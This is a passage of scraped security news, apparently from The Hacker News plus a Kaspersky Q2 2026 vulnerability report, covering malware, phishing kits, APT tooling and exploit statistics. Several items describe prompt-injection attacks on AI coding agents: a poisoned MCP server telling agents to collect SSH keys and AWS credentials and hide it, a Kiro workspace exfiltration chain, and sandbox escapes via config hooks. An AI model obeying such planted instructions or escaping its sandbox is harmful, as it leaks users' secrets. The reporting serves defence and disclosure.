TCP sockets to download and reflectively execute the core RAT DLL, receive commands, and download additional plugins or payloads." The commands allow the malware to configure C2 servers, run shell commands, start screen capture, launch a SOCKS proxy tunnel, record using a webcam, perform file operations, enumerate running processes, log keystrokes, and update the core module. No less than 11 plugins have been identified. They allow remote desktop screen sharing, RDP-style virtual desktop, file management, system administration, interactive remote shell, and webcam streaming. Cloud database powers C2A modular post-exploitation framework called Miraak has been found exposed in attacker-controlled open directories ("144.172.96[.]13"). "Miraak is designed to provide operators with persistent control of compromised systems while supporting command execution, file transfer, process management, screenshot collection, and extensible post-exploitation activity," Blackpoint Cyber said. "A defining aspect of the framework is its use of cloud-hosted PostgreSQL and Timescale infrastructure for command-and-control. Rather than communicating through traditional web-based C2 endpoints, Miraak uses database connections to register infected systems, retrieve operator tasking, track jobs, and return results." The malware has not been attributed to any known threat actor or group. Stored XSS enabled account takeoverA security vulnerability in Microsoft Purview could be exploited by a single external Teams message, email, or Copilot prompt to carry stored malicious code into a Purview reviewer's authenticated browser and turn a routine compliance check into a path to token theft and account takeover. "A standard user, including a user in a completely different tenant with no permissions in yours, could send a Teams message, an email, or a Copilot prompt containing a malicious payload, wait for it to be flagged and have their JavaScript execute inside the authenticated purview.microsoft.com session of every compliance analyst who opened the case," Cymulate said. "In our proof of concept, that meant the reviewer's access and refresh tokens leaving the browser and reaching an attacker-controlled server, which constitutes full impersonation of a privileged compliance identity." Microsoft has since issued a service-side fix. Malicious MCP server targets secretsA supply chain attack campaign codenamed Deadbugz has been observed attempting to distribute a malicious Model Context Protocol (MCP) server through public GitHub pull requests. "The server calls itself productivity-suite and initially looks harmless: it offers text formatting and summarization," Pillar Security said. "After a connected client makes three tool calls, however, it changes the instructions it returns to the AI agent. The new metadata directs the agent to seek sensitive information, including SSH keys, AWS credentials, shell history, and Kubernetes configuration, and to conceal the activity from the user." The campaign also makes use of what's called runtime-gated MCP metadata poisoning, wherein the malicious instructions are built into the server, but remain withheld until the client has made three ordinary tool calls. Exploit timelines keep shrinkingMicrosoft is warning that the window for patching vulnerabilities is rapidly shrinking, as bad actors exploit newly disclosed flaws faster than organizations can patch them, driven by advances in AI and the rapid spread of exploit information. "Modern attack campaigns operate at internet scale," the company said. "Security research, public disclosures, proof-of-concept exploits, and threat intelligence circulate globally within hours. A vulnerability announced in the morning can become the focus of active scanning and exploitation efforts by the afternoon. Defenders remain responsible for protecting entire environments that may include thousands of servers, applications, databases, containers, and network assets. Attackers only need to identify a single viable path to exploitation." Microsoft has proposed a "control plane" that's centered on the network to reduce exploitability while remediation efforts are underway. "The objective is not to avoid patching," Microsoft added. "The objective is to create a meaningful layer of defense during the period when patching has not yet been completed." Hardware-attested AI evidence standardThe Linux Foundation has announced TRACE (short for Trust, Runtime Attestation and Compliance Evidence), a new open specification for hardware-attested runtime and compliance evidence for AI agents and confidential workloads. It's developed collaboratively by AMD, Intel, Microsoft, OPAQUE, and TII. "TRACE creates a standard, open evidence layer that enables reliable governance records for AI agents and other confidential workloads," the foundation said. "As organizations deploy increasingly autonomous AI agents and open-weight models, they need a consistent, trustworthy method to prove sensitive data is being handled according to policy. TRACE creates a standardized, hardware-enforced governance record that binds together the runtime environment, software, policies, data classifications and tool usage into a portable, cryptographically verifiable artifact that travels with the workload across clouds and confidential computing environments." 100+ exposed water systems targetedThe July cyber attacks aimed at the U.S. Water and Wastewater Systems (WWS) Sector targeted over 100 internet-exposed systems, the Cybersecurity and Infrastructure Security Agency (CISA) said. The attacks have been attributed to Iranian threat actors. The attacks leveraged programmable logic controllers (PLCs) connected directly to a cellular modem. "Directly connecting PLCs to the internet through cellular modems can create significant security risks," CISA added. "However, internet exposure reduction does not mean disabling necessary remote access; organizations should remove remote access when it is unnecessary and secure it when it is necessary." Ben Bernstein, Manager of Huntress' Cybersecurity Advisors Team, described the activity as opportunistic, automated scanning that targeted publicly accessible systems. "The fact that attackers are using AI tools to write exploit scripts for these devices is an interesting twist, but they are ultimately still just walking through a wide open front door," Bernstein said. Cloaked search results hide phishingA new tactic called Chameleon SEO Poisoning uses cloaked search engine results to deploy phishing payloads such as credential theft and session hijacking. "This allows them to remain invisible to standard security scanners and remain active longer," Fortra said. "By heavily utilizing SEO poisoning on Search Engine Result Pages (SERPs), attackers rank at the top for high-intent keywords like 'Bank Name Customer Portal' or 'Credit Card Login' on search engines like Google or Bing." The cloaking is designed to block direct visits to the malicious sites, while serving a pixel-perfect banking portal clone when the page is visited from a search engine. Fake Chrome extension enables remote controlA multi-stage attack has been observed delivering a Rust binary, which, in turn, drops a malicious Chrome extension and an AutoIt script, the latter of which deploys the StealC stealer. The extension masquerades as Google Translate. "Once installed, it behaves as a full data-theft and remote-control tool," VMRay Labs said. "It extracts browser history, bookmarks, the list of installed extensions, saved credentials, and cookies. Beyond theft, it gives the operator live control: a stream of the victim's Chrome windows, the ability to interact with sites through remote mouse clicks and keyboard input, a proxy setting, and the injection of malicious JavaScript into specific sites." What's more, the remote control extends to out-of-focus windows and the extension can conduct an adversary-in-the-middle (AitM) attack by replacing a legitimate login form with an iframe that loads from a phishing page while the address bar still shows the actual domain. SharePoint exploit chain under probingDefused Cyber has warned that threat actors are exploiting two Microsoft SharePoint flaws – CVE-2026-55040 (an authentication bypass flaw in the JWT token validation pipeline) and CVE-2026-63520 (an improper input validation in Microsoft Office SharePoint that allows code execution) – to obtain remote code execution against its honeypots. "The JWT bypass (55040) was exercised, followed by heavy admin enumeration and probing of the Business Data Catalog sink behind CVE-2026-63520," it said. "No code execution observed yet." 80% of AI tools lack IT oversightA new report from Reco has found that four in five AI tools operate without IT oversight, leaving security teams without a clear picture of which ones are active, who owns them, or what access they hold. An analysis of 500 published agent tools and MCP servers has identified 62% of them to be capable of both reading local data and reaching the internet, offering a direct data exfiltration pathway. "AI agents have moved from experimentation into daily business workflows, but our findings show only 20% of AI tools in enterprise ecosystems are currently governed by IT oversight," Reco said. "That leaves organizations exposed to a new class of operational risk. Agents embedded in applications can operate through existing permissions, OAuth grants and workflow access, creating toxic combinations that expose data and trigger actions beyond what any owner approved." The week’s weirdest detail may be how little separation remains between “advanced” and “ordinary.” Blockchain-backed command channels, AI-assisted botnets, live phishing operators, poisoned software, exposed industrial systems. Different levels of sophistication, often landing on the same old weaknesses. That is probably the part worth keeping. Attackers do not need every idea to be brilliant. They need one exposed box, one convincing page, one permissive tool, or one person who clicks at the wrong moment. The tooling keeps changing. The openings are often painfully familiar. That’s it for this ThreatsDay. Patch what matters, question what looks normal, and assume next week will find another cheap way through.
thehackernews.comAug 27, 2026extracted
Amazon Kiro Prompt Injection Can Exfiltrate Sensitive Data Through Kiro Powers
Cybersecurity researchers have disclosed details of a vulnerability in Amazon Kiro, an artificial intelligence (AI)-powered, agentic integrated development environment (IDE), that could facilitate data exfiltration via prompt injection and Kiro Powers. The security flaw, which does not have a CVE identifier, works against Kiro IDE 0.7.45 on Windows, according to Mindgard. The latest version of the IDE is 1.0.337. "The issue allowed attacker-controlled repository content to influence the Kiro agent and ultimately cause sensitive local information to be transmitted to an external endpoint," Chief Marketing Officer Fergal Glynn said in a report shared with The Hacker News. Kiro Powers goes beyond skills by bundling Model Context Protocol (MCP) server configurations, steering files ("POWER.md"), hooks, and contextual knowledge. The steering file is like an "onboarding manual" that provides persistent context and tells the AI agent what MCP tools are available and when to use them. According to Mindgard, successful exploitation requires two user actions: the user has to open the malicious project through a workspace file using File → Open Workspace From File rather than opening the folder directly and then send a message to the agent. The vulnerability is reproducible against both trusted and untrusted workspaces. Once these conditions are satisfied, sensitive workspace data can be exfiltrated to the attacker "without the user explicitly requesting that Kiro access or transmit" it. The exploitation difficulty has been assessed as low. What makes this flaw notable is that the user does not have to submit a malicious prompt or reference the attacker-controlled content. Once the crafted workspace file is opened, sending any message is enough to trigger the vulnerable flow. "The vulnerability appears when attacker-controlled project content is interpreted as instructions, and those instructions are allowed to influence security-sensitive operations elsewhere in the IDE," Mindgard said. "The trust boundary failure occurs across the entire sequence. Repository-controlled content influences the agent, the agent reads sensitive local information, the agent writes that information into security-relevant IDE configuration, and a subsequent IDE capability turns the modified configuration into network activity." As AI development environments increasingly bring interpretation and execution together within the same workflow, repository files can be used to provide context to a model, while the agent can read files, invoke tools, and activate other functionality in the application, potentially leading to trust boundary failures. Following responsible disclosure, a fix for the flaw was implemented by Amazon in Kiro IDE version 0.8.140. "We addressed this finding, in the January 15 Kiro IDE update, shortly after it was reported to us," an Amazon spokesperson told The Hacker News. "As always, we recommend customers install the latest version of Kiro to ensure they receive these security updates." The vulnerability also builds upon a previous bug highlighted by Mindguard that allowed steering-file directives to cause local information to be incorporated into a Markdown image request and transmitted to an external server. "By carefully crafting a steering file to read a local file and render a Markdown image, an attacker can coerce the AI to send sensitive data to an external server," Mindgard noted at the time. This is not the first time vulnerabilities have been disclosed in Kiro. In June 2026, Amazon addressed an insufficient access control flaw (CVE-2026-10591, CVSS score: 8.8) that could have enabled a remote unauthenticated actor to execute arbitrary commands via crafted instructions that cause writes to execution-sensitive paths, such as ".vscode/tasks.json" or "~/.kiro/settings/mcp.json," and facilitate auto-execution on folder open. "By planting hidden instructions in a web page Kiro reads, an attacker can make Kiro rewrite its own MCP (Model Context Protocol) server configuration file and gain arbitrary code execution on the developer's machine," Intezer said. "No suspicious approval prompt is ever shown to the user. All the developer asked Kiro to do was perform a legitimate action." The findings also come against the backdrop of a number of security issues discovered in AI tools - A vulnerability chain in OpenAI Codex CLI for Windows that abuses prompt injection through web.run to turn a routine web search into covert host-level command execution outside the built-in sandbox feature A zero-click remote code execution vulnerability in Cursor CLI that uses indirect prompt injection to write a malicious executable to the workspace and execute it An arbitrary code execution vulnerability in Cursor, GitHub Copilot CLI, Google Gemini CLI, and the Codex app for Windows stemming from search order hijacking that allows an attacker to place a malicious binary with the same name as an external dependency (e.g., "git.exe" and "which.exe") in the current working directory before trusted system paths A vulnerability impacting Anthropic Claude Code (CVE-2026-35603), Cursor, Codex CLI, and Google Gemini CLI that takes advantage a Windows folder trusted by these tools ("C:\ProgramData\ ") to drop a configuration file ("managed-settings.json," "hooks.json," "system-defaults.json," and "config.toml") and allow a low-privileged attacker to have their commands executed inside the session of any other user on the machine without any prompt, warning, or elevated access A sandbox escape vulnerability in Claude Code (CVE-2026-25725, CVSS score: 7.7) that allows an attacker with code execution inside the sandbox to create a malicious ".claude/settings.json" file containing a hook with arbitrary commands that's executed on the underlying host when a subsequent run of Claude Code A set of vulnerabilities in Gemini CLI that allow a sandboxed attacker to escape the container boundary and run arbitrary code on the host system, as well as enable theft of the user's Google OAuth token A vulnerability in Codex CLI's sandbox that causes the trust boundary to collapse through an LLM tool call to "apply_patch," which is permitted to create and modify files in the .codex directory of the work folder, via direct or indirect prompt injection and achieve command execution on the host A vulnerability in NVIDIA NemoClaw (CVE-2026-65105, CVSS score: 8.1) that can allow an attacker to gain control of the local Ollama model server through a single visit to an attacker-controlled web page on the victim's machine and plant hidden instructions inside the model's chat template so that they are applied to every subsequent conversation A vulnerability in OpenClaw that allows any website to take full control of a developer's AI agent with no plugins, extensions, or user interaction required by abusing the gateway's ability to accept connections from localhost through a WebSocket and any website can open a WebSocket connection to localhost A vulnerability in Microsoft Visual Studio Code's MCP install dialog (CVE-2026-41613, CVSS score: 8.8, aka Envade) that, with a single click on a crafted deeplink, enables full code execution on a developer's system or route MCP tool calls through an attacker's account A vulnerability in Claude Desktop called PromptFiction that, with a single click on a crafted link, could trick the AI agent to perform unintended actions, including harvesting sensitive data or running arbitrary code "The Kiro findings expose a problem that extends beyond one IDE or one disclosure program," Mindgard said. "AI vulnerabilities can emerge from interactions between model interpretation, application logic, tools, configuration, and external resources, making them difficult to evaluate using disclosure processes designed around more clearly defined software defects." "As AI systems gain more tools and interact with more application state, vulnerability disclosure programs need to evaluate execution paths at the same level of detail as the researchers discovering them." (The story was updated after publication to include a response from Amazon.)
thehackernews.comAug 27, 2026extracted
Nimbus Manticore Expands Toolset With TWOSTROKE-Like Backdoor and SSH Tunneler
Cybersecurity researchers have discovered additional infrastructure and previously undocumented malware associated with Nimbus Manticore, an Iranian state-sponsored hacking group affiliated with the Islamic Revolutionary Guard Corps (IRGC). Group-IB, in a new analysis published today, described the cyber espionage actor as among the most active Iranian APT groups in 2026. Nimbus Manticore (aka GalaxyGato, Mirage Kitten, Screening Serpens, Smoke Sandstorm, Subtle Snail, and UNC1549) is assessed to be linked to Tortoiseshell (aka Imperial Kitten and Unyielding Wasp), which is part of the Charming Kitten (aka Eclipsed Wasp) cluster. Tortoiseshell is known to be active since at least July 2018, mainly targeting defense, aerospace, IT service providers, and military organizations in the Middle East and the U.S. Nimbus Manticore also has a history of orchestrating its own version of the Dream Job campaign to deliver malware under the pretext of job opportunity-themed social engineering attacks. The Singaporean cybersecurity company said it uncovered extensive Tortoiseshell infrastructure spanning Europe and the Middle East, as well as an SSH-based tunneling utility and a C++ backdoor that shares similarities with TWOSTROKE, another backdoor already attributed to the threat actor. "The discovered Tortoiseshell infrastructure potentially suggests an expanded targeting profile, focusing on Middle Eastern countries, alongside European countries," Group-IB researchers Mansour Alhmoud and Mohamed Emam said. The findings build upon a recent report from Kaspersky, which detailed the threat actor's use of a new Windows backdoor called NightLedger and two custom WebSocket tunnelers, BridgeHead and ArcBridge, with an aim to maintain persistent access to compromised hosts in attacks aimed at entities across the Middle East, Africa, and South Asia. One of the newly discovered artifacts is a reverse SSH tunneling tool that masquerades as the Windows Terminal Server SDK API, while establishing an SSH connection to the operator's infrastructure located at "172.86.98[.]113" on port 443. The second malware family is a backdoor that overlaps with TWOSTROKE, a C++ implant that allows for system information collection, DLL loading, file manipulation, and persistence. The backdoor mimics the Windows terminal server SDK DLL ("wtsapi32.dll") and uses one of three hard-coded command-and-control (C2) servers to establish an HTTPS connection and await further instructions. Upon receiving a response from the C2 server, it extracts from it the command and creates a new worker thread to execute it. The commands enable the malware to download/upload files, execute a binary or DLL, gather host information, list directories, and delete specific files. "The identification of infrastructure targeting Middle Eastern and European countries alongside continued development of tools such as the TWOSTROKE backdoor and SSH-based tunneling utilities demonstrates a threat actor that is steadily evolving its toolset and adapting its techniques to maintain access across a growing number of targets," Group-IB said.
thehackernews.comAug 26, 2026extracted
NovaCookies Campaigns Abuse Genuine Docusign Notifications to Steal Microsoft 365 Sessions
Cybersecurity researchers have disclosed details of a new adversary-in-the-middle (AitM) phishing toolkit called NovaCookies that's used as a proxy to redirect Microsoft 365 sign-ins, while capturing authenticated sessions in the process. In a report shared with The Hacker News ahead of publication, Island characterized the $320/month service as a subscription-based phishing platform that facilitates real-time Microsoft 365 session theft. The kit has been used to target hundreds of organizations across multiple sectors in the U.S., the U.K., Canada, Germany, Israel, and the U.A.E. to date. "Observed campaigns used genuine Docusign envelopes to carry counterfeit document-share lures, with some clicks routed through legitimate Microsoft or Google sign-in endpoints as redirect hops before reaching the kit," Island said. "The message, document service and redirect can therefore appear trustworthy until the browser reaches attacker-controlled infrastructure." Like other AitM phishing kits, NovaCookies is designed to relay Microsoft 365 authentication through attacker-controlled infrastructure, allowing it to act as a proxy and harvest the resulting session after victims enter their passwords and multi-factor authentication (MFA) codes. Evidence indicates that NovaCookies is advertised via Telegram, with the messaging service also used as infrastructure to manage customer profiles, configure redirect services, and contact support. According to Proofpoint, NovaCookies is assessed to be a variant of the Sneaky 2FA phishing kit. "While the original Sneaky2FA appeared to focus mainly on Microsoft accounts, the NovaCookies variant includes dedicated flows for other identity providers, including Okta, and Entra domains federated to GoDaddy," Proofpoint noted in an X post last month. "Unlike Sneaky2FA, NovaCookies uses a fully managed phishing-as-a-service (PhaaS) model where affiliates pay to use a PhaaS platform, and the infrastructure is hosted centrally by the PhaaS operator rather than by each affiliate." Many NovaCookies lure domains have been found to be hosted on the ".vu" domain (e.g., "fordmotbvmorcompany[.]vu"), with the phishing URLs featuring alternating-case labels such as PwPt-sHaRe, Ms36-AcCeSs, and ClOd-ViEw in an attempt to masquerade as legitimate Microsoft services. One of the attack chains employs Docusign notifications as decoys to lead victims to the phishing pages, while bypassing sender-authentication and reputation checks by taking advantage of the fact that the email is a genuine Docusign notification. What's malicious is the document shared via the service. "Styled as a Docusign share notice, it claimed that an accounting department had shared a remittance-advice PDF and invited the recipient to open it," Island said. "The malicious destination sat inside the document, below the layer most mail security products inspect." The attack then employs an OAuth error-redirect technique detailed by Microsoft earlier this March to lead victims to attacker-controlled infrastructure. The phishing infrastructure operated by NovaCookies is a live AitM relay designed to capture credentials and session information, and relay it to Microsoft in real time. The commercial offering also boasts of various anti-analysis checks to evade security scanners before serving the bogus login form impersonating Microsoft 365. This includes a Cloudflare gate and a mechanism to detect execution passes associated with debugging tools. "NovaCookies is built so each hop can look legitimate on its own: a trusted delivery service, an identity-provider redirect, then a familiar sign-in page," Island said. "Those pieces often land in different tools. The browser is where they become a single event." The disclosure comes as PhaaS toolkits continue to be a lucrative subscription service in the cybercrime underground, allowing cybercriminals with little to no technical expertise to mount phishing campaigns at scale. Some of the new services that have emerged in recent months include - AnonyMousKIT, which has been active since early 2024 and uses artificial intelligence (AI)-powered vishing tactics to target stolen device owners by posing as Apple Support and asking them to provide their device passcode, Apple ID, and 6-digit 2FA code on fake domains embedded in emails with the end goal of disabling Activation Lock on the device and reselling it. The service obtains the owner's contact information supplied through the Lost Mode feature, using it to reach out to them through email, SMS, WhatsApp, or a phone call. p1bot.io, a vishing-as-a-service platform that uses ElevenLabs' text-to-speech capabilities to generate Interactive Voice Response (IVR) prompts in English, French, or Spanish, play them to victims mid-call, and capture keypad presses (e.g., PINs, OTPs, or account numbers) in real time. Bluekit, which advertises 40+ website templates, automated domain purchase and registration, 2FA support, spoofing, geolocation emulation, Telegram and browser notifications, antibot cloaking, and add-ons like an AI assistant, voice cloning, and a mail sender ATHR, which uses AI vishing agents, credential harvesting panels, and built-in phishing mailers to execute and scale telephone-oriented attack delivery (TOAD) attacks. ZeroTokens, which supports impersonation of 53 financial institution brands to harvest credentials, identity data, payment details, and verification codes. The service makes use of ten sender domains (four ".com" and six ".asia") and nine SendGrid accounts to bypass SPF, DKIM, and DMARC checks. iAuthFlow V2, which uses a browser-in-the-middle (BitM) relay to turn a temporary foothold afforded by a phished Google session into persistent access by enrolling an attacker-controlled passkey. It's advertised for $10,000 for the base package, with additional capability modules sold separately, along with other versions for Microsoft, iCloud, and LinkedIn. LinXcoded (aka Mirage2FA), which makes use of compromised senders, analysis evasion, and real-time Microsoft 365 relays to capture authenticated sessions. Phishing messages leveraging the kit originate from compromised, authenticated Microsoft 365 tenants and carry the payload as an HTML attachment rather than a link in the message body to evade email security controls. Matrix, which shares the same lineage as Sneaky 2FA and enables Microsoft 365 credential-phishing via an AitM harvester. Phishing messages leveraging the kit employ OneDrive notifications that prompt recipients to open a shared document. ARToken, which steals Microsoft 365 tokens through the OAuth device code flow and facilitates full account takeover via invoice-themed phishing emails sent from a compromised legitimate Google Workspace or Microsoft 365 mailbox that link to an anonymous SharePoint file share hosted on a compromised third-party tenant. The share contains a Windows Internet Shortcut file that displays an identity-verification prompt to carry out device code phishing. Blacksite, which pairs an AitM reverse-proxy kit with Cloaked.gg, a cloaking service, to hide phishing pages from automated URL analysis and serve benign decoys to scanners. The kit is designed to intercept authentication tokens, session cookies, and one-time 2FA codes in real time. Balonx Sistema, which is a Mexican PhaaS operation that targets over 20 financial institutions in the country with live WebSocket victim interaction, an integrated Android Remote Access Trojan (RAT) based on Spyroid, and an advanced AI-driven vishing component dubbed CallFlow that automates voice fraud via synthetic speech and large language models (LLMs). More than 1,100 users' credentials and financial information have been collected since at least October 2025. EvilTokens, which provides an off-the-shelf Microsoft device code phishing kit and malicious AI-powered analytics services that allow customers to identify valuable data for fraud and scam campaigns. Forg365, which combines device code phishing, AitM tactics, antibot evasion, AI-assisted lure creation, and post-compromise mailbox operations targeting Microsoft 365 accounts. The findings also come as a threat actor tracked as DOUBLOON DREDGER has been observed abusing Notion accounts to invite targets to view a PDF that contains a malicious link, clicking which takes them to an EvilTokens device code harvesting page. "They abuse Notion to gain access to a legitimate email sender, reputable infrastructure, and a place to host a malicious PDF," Sublime said. "They use a PDF builder that includes two to three overlapping links, attempting to evade defensive tooling and detections while potentially increasing the shelf life of any single malicious PDF with redundant infrastructure." "The payload landing page uses a JavaScript obfuscation and encryption technique similar to recent Tycoon 2FA device code harvesting campaigns." It's suspected with low confidence that DOUBLOON DREDGER has acquired access to both EvilTokens and Tycoon 2FA and then uses their own custom first-stage JavaScript in front of the PhaaS kits. The threat actor is believed to be financially motivated. "EvilTokens represents a structural shift in the PhaaS market. Previous platforms commoditized the front end of the attack: the lure, the landing page, the credential capture," Flare security researcher Assaf Morag said. "EvilTokens commoditizes what comes after." "By automating inbox analysis, stakeholder mapping, and AI-generated fraud messages, it removes the skill barrier that once separated a captured token from a successful financial compromise. An affiliate no longer needs to understand business email compromise tradecraft, as the platform provides it as a feature."
thehackernews.comAug 26, 2026extracted
Exploits and vulnerabilities in Q2 2026
The vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem. Second, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems. Statistics on registered vulnerabilities This section provides statistical data on registered vulnerabilities. The data comes from Kaspersky’s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports. We examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It’s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report , these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing. Total published vulnerabilities per month from 2022 through 2026 ( download ) Next, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period. Total critical vulnerabilities published per month from 2022 through 2026 ( download ) As the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel. Exploitation statistics This section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry. Windows and Linux vulnerability exploitation Q2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new “named” vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier: BlueHammer : a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability. RedSun : another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as “cloud” can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques. YellowKey : a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published. GreenPlasma : a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality. RougePlanet : yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one. UnDefend : another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates. Even though such cases remain isolated for now, we believe they’ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues. Veteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for: CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component CVE-2017-11882: another RCE vulnerability also affecting Equation Editor CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive CVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution CVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates. That said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low. Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% ( download ) Linux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system. All the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited: CVE-2026-31431 (Copy Fail) : a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments CVE-2026-43284, CVE-2026-43500 (Dirty Frag) : a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root CVE-2026-46300 (Fragnesia) : a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family CVE-2026-31635 (DirtyDecrypt) : a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification CVE-2026-43494 (PinTheft) : a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism CVE-2026-46331 (pedit COW) : a vulnerability in the Linux kernel’s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root The vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well: CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem CVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% ( download ) In Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system’s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn’t an option. Most common published exploits The distribution of published exploits by software type in Q2 2026 includes categories that haven’t appeared in the sample for a long time. For instance, we’re once again seeing exploits targeting SharePoint. It’s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components — often close to genuinely vulnerable mechanisms — in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware. Distribution of published exploits by platform, Q1 2026 ( download ) Distribution of published exploits by platform, Q2 2026 ( download ) Vulnerability exploitation in APT attacks We analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources. TOP 10 vulnerabilities exploited in APT attacks, Q2 2026 ( download ) In Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they’re published. As before, we’re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it’s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs. C2 frameworks In this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks. The chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources. TOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 ( download ) Sliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above: CVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps CVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication CVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user These vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day 